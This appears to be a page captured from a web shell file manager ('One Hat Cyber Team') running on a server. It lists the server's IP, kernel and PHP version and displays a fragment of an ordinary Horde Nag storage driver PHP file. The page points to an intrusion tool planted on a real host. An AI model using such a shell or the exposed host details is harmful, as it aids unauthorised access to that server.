⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.127
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
nag
/
lib
/
Factory
/
View File Name :
Driver.php
getShare($tasklist); if ($share->get('issmart')) { $driver = 'Smartlist'; } } catch (Horde_Exception $e) { throw new Nag_Exception($e); } } if (!$driver) { $driver = $GLOBALS['conf']['storage']['driver']; $params = Horde::getDriverConfig('storage', $driver); $signature = serialize(array($tasklist, $driver, $params)); } if (isset($this->_instances[$signature])) { return $this->_instances[$signature]; } $driver = ucfirst(basename($driver)); $class = 'Nag_Driver_' . $driver; switch ($driver) { case 'Sql': $params['db'] = $GLOBALS['injector'] ->getInstance('Horde_Core_Factory_Db') ->create('nag', 'storage'); break; case 'Kolab': $params['kolab'] = $GLOBALS['injector']->getInstance('Horde_Kolab_Storage'); break; case 'Smartlist': $params['driver'] = $this->create(''); } if (class_exists($class)) { try { $nag = new $class($tasklist, $params); } catch (Nag_Exception $e) { $nag = new Nag_Driver($params, sprintf(_("The Tasks backend is not currently available: %s"), $e->getMessage())); } } else { $nag = new Nag_Driver($params, sprintf(_("Unable to load the definition of %s."), $class)); } $this->_instances[$signature] = $nag; return $nag; } }